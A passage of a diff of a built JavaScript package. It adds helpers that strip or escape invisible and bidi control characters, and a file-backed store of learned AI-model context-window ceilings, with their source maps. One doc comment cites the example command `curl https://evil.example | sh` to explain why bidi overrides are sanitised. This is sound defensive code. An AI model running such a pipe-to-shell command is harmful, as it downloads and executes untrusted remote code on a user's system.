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","names":[]}
@@ -0,0 +1,28 @@
1
+ // src/control-characters.ts
2
+ var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
3
+ function foldControlCharacters(text) {
4
+ return text.replace(CONTROL_CHARACTERS, " ");
5
+ }
6
+ function stripTerminalControls(text) {
7
+ return text.replace(/\r\n/g, "\n").replace(
8
+ /[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g,
9
+ " "
10
+ );
11
+ }
12
+ var INVISIBLE_CHARACTER = /[\u0000-\u001f\u007f-\u00a0\u00ad\u061c\u180e\u2000-\u200f\u2028-\u202f\u205f-\u2064\u2066-\u206f\u3000\ufeff]/g;
13
+ function escapeInvisibleCharacters(text) {
14
+ return text.replace(INVISIBLE_CHARACTER, (character) => {
15
+ if (character === "\n") return "\\n";
16
+ if (character === "\r") return "\\r";
17
+ if (character === " ") return "\\t";
18
+ return `\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, "0")}`;
19
+ });
20
+ }
21
+
22
+ export {
23
+ CONTROL_CHARACTERS,
24
+ foldControlCharacters,
25
+ stripTerminalControls,
26
+ escapeInvisibleCharacters
27
+ };
28
+ //# sourceMappingURL=chunk-2AAOF5B5.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/control-characters.ts"],"sourcesContent":["/**\n * Characters that make rendered text differ from the text itself: C0 controls and DEL, C1\n * controls (NEL included), the Arabic letter mark, LRM/RLM, the line and paragraph separators,\n * and the bidi embeddings, overrides and isolates. An override can display\n * `curl https://evil.example | sh` as something harmless, and a newline or ESC breaks a one-line\n * row. Global: use it with `replace`, never `test`.\n */\nexport const CONTROL_CHARACTERS =\n /[\\u0000-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g;\n\n/** Fold every run of {@link CONTROL_CHARACTERS} to one space, for a one-line display. */\nexport function foldControlCharacters(text: string): string {\n return text.replace(CONTROL_CHARACTERS, ' ');\n}\n\n/**\n * Replace every control character except newline and tab with a space, for multi-line text shown\n * as is (tool output under a screen reader): a bidi override or an escape sequence must not\n * rewrite the terminal, but the line structure stays. A CRLF becomes a newline first.\n */\nexport function stripTerminalControls(text: string): string {\n return text\n .replace(/\\r\\n/g, '\\n')\n .replace(\n /[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g,\n ' ',\n );\n}\n\n/**\n * Characters a reader cannot see or cannot tell from a plain space: the controls above, NBSP,\n * soft hyphen, the Unicode spaces U+2000-U+200A, zero-width characters, word joiners, the\n * ideographic space and the BOM.\n */\nconst INVISIBLE_CHARACTER =\n /[\\u0000-\\u001f\\u007f-\\u00a0\\u00ad\\u061c\\u180e\\u2000-\\u200f\\u2028-\\u202f\\u205f-\\u2064\\u2066-\\u206f\\u3000\\ufeff]/g;\n\n/**\n * Show every invisible character as an escape (`\\n`, `\\r`, `\\t`, otherwise `\\uXXXX`), so a\n * model told which character was rejected can see it. Ordinary spaces are kept.\n */\nexport function escapeInvisibleCharacters(text: string): string {\n return text.replace(INVISIBLE_CHARACTER, (character) => {\n if (character === '\\n') return '\\\\n';\n if (character === '\\r') return '\\\\r';\n if (character === '\\t') return '\\\\t';\n return `\\\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, '0')}`;\n });\n}\n"],"mappings":";AAOO,IAAM,qBACX;AAGK,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KAAK,QAAQ,oBAAoB,GAAG;AAC7C;AAOO,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KACJ,QAAQ,SAAS,IAAI,EACrB;AAAA,IACC;AAAA,IACA;AAAA,EACF;AACJ;AAOA,IAAM,sBACJ;AAMK,SAAS,0BAA0B,MAAsB;AAC9D,SAAO,KAAK,QAAQ,qBAAqB,CAAC,cAAc;AACtD,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,IAAM,QAAO;AAC/B,WAAO,MAAM,UAAU,WAAW,CAAC,EAAE,SAAS,EAAE,EAAE,YAAY,EAAE,SAAS,GAAG,GAAG,CAAC;AAAA,EAClF,CAAC;AACH;","names":[]}
@@ -1,9 +1,9 @@
1
1
  import {
2
2
  writeFileAtomic
3
- } from "./chunk-574C6MQR.js";
3
+ } from "./chunk-X4NJT436.js";
4
4
  import {
5
5
  resolveBookHome
6
- } from "./chunk-24AXE6SP.js";
6
+ } from "./chunk-ZPSZZUWF.js";
7
7
 
8
8
  // src/model-window-store.ts
9
9
  import { existsSync, readFileSync } from "fs";
@@ -18,7 +18,7 @@ var learnedModelWindowEntrySchema = z.object({
18
18
  });
19
19
  var looseModelWindowStoreSchema = z.object({
20
20
  version: z.number().int().positive().default(MODEL_WINDOW_STORE_VERSION),
21
- models: z.record(z.unknown()).default({})
21
+ models: z.record(z.string(), z.unknown()).default({})
22
22
  });
23
23
  function emptyStore() {
24
24
  return { version: MODEL_WINDOW_STORE_VERSION, models: {} };
@@ -197,6 +197,8 @@ export {
197
197
  MODEL_WINDOW_STORE_VERSION,
198
198
  LEARNED_WINDOW_SAFETY_MARGIN,
199
199
  MIN_LEARNED_CONTEXT_WINDOW,
200
+ learnedModelWindowEntrySchema,
201
+ looseModelWindowStoreSchema,
200
202
  defaultModelWindowStorePath,
201
203
  readModelWindowStore,
202
204
  writeModelWindowStore,
@@ -205,4 +207,4 @@ export {
205
207
  MemoryModelWindowStore,
206
208
  createModelWindowStore
207
209
  };
208
- //# sourceMappingURL=chunk-CAGOB2N4.js.map
210
+ //# sourceMappingURL=chunk-4AS7LKKQ.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/model-window-store.ts"],"sourcesContent":["import { existsSync, readFileSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { z } from 'zod';\nimport { resolveBookHome } from './book-home.js';\nimport { writeFileAtomic } from './settings-repository.js';\n\nexport const MODEL_WINDOW_STORE_VERSION = 1;\n\n/**\n * Fraction of the refused prompt history recorded as the learned window ceiling.\n *\n * When a provider rejects a request for exceeding the context limit, the history\n * tokens at that moment represent a size that was REFUSED, not a size the provider\n * accepts. Recording the refused size directly would set a ceiling larger than the\n * true context window (e.g. true window 100k, refused history 150k -> ceiling 150k),\n * causing repeated user-visible failures. Applying a safety margin ensures the\n * recorded ceiling is strictly below the refused size and converges rapidly to a\n * viable operating limit.\n */\nexport const LEARNED_WINDOW_SAFETY_MARGIN = 0.8;\n\n/**\n * Minimum context window ceiling recorded from an overflow refusal.\n *\n * Sane coding sessions require at least 16k tokens for tools, system prompt,\n * and working context. Any refusal below this floor is far more likely to be an\n * upstream proxy error (e.g. 413 Request Entity Too Large) or bad telemetry\n * than a real context limit. Refusals below this floor are ignored rather than\n * recorded, preventing a transient error from permanently bricking the model.\n */\nexport const MIN_LEARNED_CONTEXT_WINDOW = 16_384;\n\nexport interface LearnedModelWindowEntry {\n contextWindow: number;\n learnedAt: number;\n}\n\nexport interface ModelWindowStoreData {\n version: number;\n models: Record<string, LearnedModelWindowEntry>;\n}\n\nexport interface ModelWindowStoreOptions {\n /** Explicit BOOK_HOME directory root (used by tests to isolate storage). */\n home?: string;\n /** Explicit file path override (used by tests). */\n path?: string;\n /** Optional clock override for timestamps (used by tests). */\n now?: () => number;\n}\n\nexport interface ModelWindowStore {\n get(model: string): number | undefined;\n getEntry(model: string): LearnedModelWindowEntry | undefined;\n ratchet(model: string, ceiling: number): boolean;\n all(): Record<string, LearnedModelWindowEntry>;\n}\n\nexport const learnedModelWindowEntrySchema = z.object({\n contextWindow: z.number().int().positive(),\n learnedAt: z.number().int().nonnegative(),\n});\n\nexport const looseModelWindowStoreSchema = z.object({\n version: z.number().int().positive().default(MODEL_WINDOW_STORE_VERSION),\n models: z.record(z.string(), z.unknown()).default({}),\n});\n\nfunction emptyStore(): ModelWindowStoreData {\n return { version: MODEL_WINDOW_STORE_VERSION, models: {} };\n}\n\n/**\n * Resolved location for the user-global learned-window store.\n *\n * This file lives under BOOK_HOME (e.g. ~/.book/model-windows.json), NEVER inside\n * the workspace. A repository must never be able to declare or tamper with\n * learned window ceilings for itself.\n */\nexport function defaultModelWindowStorePath(home?: string): string {\n return home ? join(home, 'model-windows.json') : join(resolveBookHome(), 'model-windows.json');\n}\n\n/**\n * Read the learned-window store.\n * Tolerates missing, empty, or corrupt files by returning an empty store.\n * Never throws into a run.\n */\nexport function readModelWindowStore(options?: ModelWindowStoreOptions): ModelWindowStoreData {\n const filePath = options?.path ?? defaultModelWindowStorePath(options?.home);\n if (!existsSync(filePath)) {\n return emptyStore();\n }\n try {\n const raw = readFileSync(filePath, 'utf-8').trim();\n if (!raw) return emptyStore();\n const parsed = JSON.parse(raw);\n const validated = looseModelWindowStoreSchema.safeParse(parsed);\n if (!validated.success) {\n return emptyStore();\n }\n const models: Record<string, LearnedModelWindowEntry> = {};\n for (const [key, value] of Object.entries(validated.data.models)) {\n const entryResult = learnedModelWindowEntrySchema.safeParse(value);\n if (entryResult.success) {\n models[key] = entryResult.data;\n }\n }\n return {\n version: validated.data.version,\n models,\n };\n } catch {\n return emptyStore();\n }\n}\n\n/**\n * Atomically persist the learned-window store.\n * Never throws into a run.\n */\nexport function writeModelWindowStore(\n data: ModelWindowStoreData,\n options?: ModelWindowStoreOptions,\n): boolean {\n if (data.version > MODEL_WINDOW_STORE_VERSION) {\n return false;\n }\n const filePath = options?.path ?? defaultModelWindowStorePath(options?.home);\n try {\n if (existsSync(filePath)) {\n const existing = readModelWindowStore(options);\n if (existing.version > MODEL_WINDOW_STORE_VERSION) {\n return false;\n }\n }\n const serialized = JSON.stringify(data, null, 2) + '\\n';\n writeFileAtomic(filePath, serialized);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * Records a learned context window ceiling for a model.\n *\n * Ratchet, downward only:\n * - If no entry exists for the model, records the new ceiling.\n * - If an entry exists with a larger ceiling, lowers it.\n * - If an entry exists with an equal or smaller ceiling, changes nothing.\n *\n * Monotonicity is strict: a later overflow at a smaller size lowers it further;\n * an overflow at a larger size does not raise it.\n *\n * Returns true if the store was updated with a new ceiling, false otherwise.\n */\nexport function ratchetModelWindow(\n model: string,\n ceiling: number,\n options?: ModelWindowStoreOptions,\n): boolean {\n return createModelWindowStore(options).ratchet(model, ceiling);\n}\n\n/**\n * File-backed implementation of ModelWindowStore.\n * Delegates to createModelWindowStore for closure-based, freeze-safe caching.\n */\nexport class FileModelWindowStore implements ModelWindowStore {\n private readonly inner: ModelWindowStore;\n\n constructor(options?: ModelWindowStoreOptions) {\n this.inner = createModelWindowStore(options);\n }\n\n get(model: string): number | undefined {\n return this.inner.get(model);\n }\n\n getEntry(model: string): LearnedModelWindowEntry | undefined {\n return this.inner.getEntry(model);\n }\n\n ratchet(model: string, ceiling: number): boolean {\n return this.inner.ratchet(model, ceiling);\n }\n\n all(): Record<string, LearnedModelWindowEntry> {\n return this.inner.all();\n }\n}\n\n/**\n * In-memory implementation of ModelWindowStore, useful for unit tests.\n */\nexport class MemoryModelWindowStore implements ModelWindowStore {\n private readonly models = new Map<string, LearnedModelWindowEntry>();\n private readonly now: () => number;\n\n constructor(initial?: Record<string, LearnedModelWindowEntry>, now = Date.now) {\n this.now = now;\n if (initial) {\n for (const [k, v] of Object.entries(initial)) {\n this.models.set(k, { ...v });\n }\n }\n }\n\n get(model: string): number | undefined {\n return this.models.get(model)?.contextWindow;\n }\n\n getEntry(model: string): LearnedModelWindowEntry | undefined {\n const entry = this.models.get(model);\n return entry ? { ...entry } : undefined;\n }\n\n ratchet(model: string, ceiling: number): boolean {\n if (\n !model ||\n typeof ceiling !== 'number' ||\n !Number.isFinite(ceiling) ||\n ceiling < MIN_LEARNED_CONTEXT_WINDOW\n ) {\n return false;\n }\n const normalized = Math.floor(ceiling);\n const existing = this.models.get(model);\n if (existing && existing.contextWindow <= normalized) {\n return false;\n }\n this.models.set(model, { contextWindow: normalized, learnedAt: this.now() });\n return true;\n }\n\n all(): Record<string, LearnedModelWindowEntry> {\n const result: Record<string, LearnedModelWindowEntry> = {};\n for (const [k, v] of this.models.entries()) {\n result[k] = { ...v };\n }\n return result;\n }\n}\n\n/**\n * Create a freeze-safe ModelWindowStore instance.\n *\n * Cache state is held in a closure rather than as object properties, ensuring\n * that Object.freeze / deepFreeze(config) does not break subsequent memoization.\n */\nexport function createModelWindowStore(options?: ModelWindowStoreOptions): ModelWindowStore {\n let cachedData: ModelWindowStoreData | undefined;\n\n function load(): ModelWindowStoreData {\n if (cachedData === undefined) {\n cachedData = readModelWindowStore(options);\n }\n return cachedData;\n }\n\n return {\n get(model: string): number | undefined {\n if (!model) return undefined;\n return load().models[model]?.contextWindow;\n },\n\n getEntry(model: string): LearnedModelWindowEntry | undefined {\n if (!model) return undefined;\n const entry = load().models[model];\n return entry ? { ...entry } : undefined;\n },\n\n ratchet(model: string, ceiling: number): boolean {\n if (\n !model ||\n typeof ceiling !== 'number' ||\n !Number.isFinite(ceiling) ||\n ceiling < MIN_LEARNED_CONTEXT_WINDOW\n ) {\n return false;\n }\n const fresh = readModelWindowStore(options);\n if (fresh.version > MODEL_WINDOW_STORE_VERSION) {\n return false;\n }\n const normalizedCeiling = Math.floor(ceiling);\n const existingEntry = fresh.models[model];\n const targetCeiling = existingEntry\n ? Math.min(existingEntry.contextWindow, normalizedCeiling)\n : normalizedCeiling;\n\n if (existingEntry && existingEntry.contextWindow === targetCeiling) {\n // If the merged value equals what is already on disk, write nothing and return false.\n return false;\n }\n\n const now = options?.now ? options.now() : Date.now();\n const updated: ModelWindowStoreData = {\n version: fresh.version,\n models: {\n ...fresh.models,\n [model]: {\n contextWindow: targetCeiling,\n learnedAt: now,\n },\n },\n };\n const written = writeModelWindowStore(updated, options);\n if (written) {\n cachedData = updated;\n return true;\n }\n return false;\n },\n\n all(): Record<string, LearnedModelWindowEntry> {\n const models = load().models;\n const result: Record<string, LearnedModelWindowEntry> = {};\n for (const [k, v] of Object.entries(models)) {\n result[k] = { ...v };\n }\n return result;\n },\n };\n}\n"],"mappings":"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